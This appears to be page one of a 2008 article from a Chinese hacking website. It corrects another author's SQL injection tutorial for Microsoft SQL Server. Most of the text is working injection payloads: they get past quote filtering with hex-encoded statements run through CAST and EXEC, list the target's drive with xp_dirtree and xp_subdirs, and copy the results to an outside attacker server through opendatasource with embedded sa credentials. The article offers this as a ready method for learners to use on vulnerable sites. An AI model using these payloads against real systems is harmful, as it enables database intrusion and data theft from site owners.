黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[组图]《SQL注入高级技巧nowthk篇》的深入分析
        ★★★★★

《SQL注入高级技巧nowthk篇》的深入分析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-1-28 8:21:31
前几天拜读了nowthk的大作《SQL注入高级技巧nowthk篇》,深深地为作者灵活巧妙地构造注入语句所折服。文章讲了在注入点过滤单引号的情况下绕过单引号限制继续注入获取网站目录的技巧。

文章有两个技术亮点,
亮点一:将一整句SQL语句转换成十六进制,然后通过cast函数将十六进转换成字符类型数据,然后执行之。亮点二:在暴网站目录时采用了与众不同的手法,就是建表,执行存储过程将磁盘目录存入表中,然后暴出表第一条记录内容,因为注入点过滤单引号,所以作者采用了另建表,将除第一条记录以外的所有记录再插入这个新建表中,暴出新表第一条记录,就这样重复建表,插入,再暴内容,直到所有内容都暴出来为止。

虽然作者的思路是很巧妙,但操作过程中也出现了几处明显的错误,有些错误是注入语句不当造成的,有的操作明明有更加简单有效的方法可以实现,但作者避简就繁,使用了复杂而且低效率的方法,虽然突出了一个技术亮点,但这样着实会误导很多人。我在网上搜索了一下这篇文章,发现很多站都在千篇一律地转载它,但没有一个站能发表对它的评论,作者也没有进行更正。所以才有了这篇文章,希望能给学习注入的朋友们加以解释,能够更准确地理解其中的道理。

首先看一下nowthk运用opendatasource函数暴网站目录的操作步骤:

(1);create table temp(id nvarchar(255),num1 nvarchar(255))--成功

(2)
以下是引用片段:
;insert into temp(id,num1) exec master.dbo.xp_dirtree ’D:’--
因为过滤单引号,所以nowthw将这句转换为:
;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700 AS NVARCHAR(4000));EXEC(@S)--

(3)
以下是引用片段:
;insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.mulu select id from temp where num1=1--
这句转换为:
;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300 AS NVARCHAR(4000));EXEC(@S)--


我们来分析一下,作者只想得到D盘根目录下的目录列表,运用了xp_dirtree存储过程,其实如果只得到目录列表,用;insert into temp(id) exec master.dbo.xp_subdirs 'd:';--用这个语句更加简洁高效一些。因为用xp_dirtree,它后面第三句中的select id from temp where num1=1就必须要这个num1=1的限制条件,否则导出的数据过大就会很导出失败。再一点我们分析一下作者导出数据失败的原因,根据我的经验,像这样的数据导出,远程的表与本地的表应该具有相同的数据结构,还有就是导出的数据不能太大,不然容易使导出失败。导出失败就像nowthk所说的那种情况。我们看下nowthk是怎样建本地表的呢?本地表mulu(name char(255)) 那远程是那个呢?temp(id nvarchar(255),num1 nvarchar(255)),我们可以看出这两个表结构是不同的,这样导出就失败了,所以在用opendatasource函数导出数据时一定要注意,远程表必须要与本地表结构相同。所以本地建表应该是用这样的命令:;create table temp(id nvarchar(255),num1 nvarchar(255))—

所以我给改造的注入语句为:
(1);create table temp(id nvarchar(255),num1 nvarchar(255))—

(2);insert into temp(id) exec master.dbo.xp_subdirs 'd:';--

这句转换成十六进制,同nowthk的所十六进制的方法。

(3);insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.temp select * from temp --

这句也一样,转成十六进制

经过这样改造,就可以成功暴得D盘下的目录列表了。如果是要用xp_dirtree的话,就要改造成这样:

(1);DROP+TABLE+WhyTt_Tmp;CREATE+TABLE+WhyTt_Tmp(subdirectory+nvarchar(256)+NULL,depth+tinyint+NULL,[file]+bit+NULL);Insert+WhyTt_Tmp+exec+master..xp_dirtree 'd:',+1,1;--

(2);insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.whytt_tmp select * from whytt_tmp --

当然要在本地建个表whytt_tmp,结构与远程的whytt_tmp相同。;Insert+WhyTt_Tmp+exec+master..xp_dirtree 'd:',+1,1;--这句是在远程表中插入D盘下的目录及文件,但没有下级目录,这样表内容比较小,导出到本地,容易成功。这句与nowthk的不同,大家要注意一下。

[1] [2] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886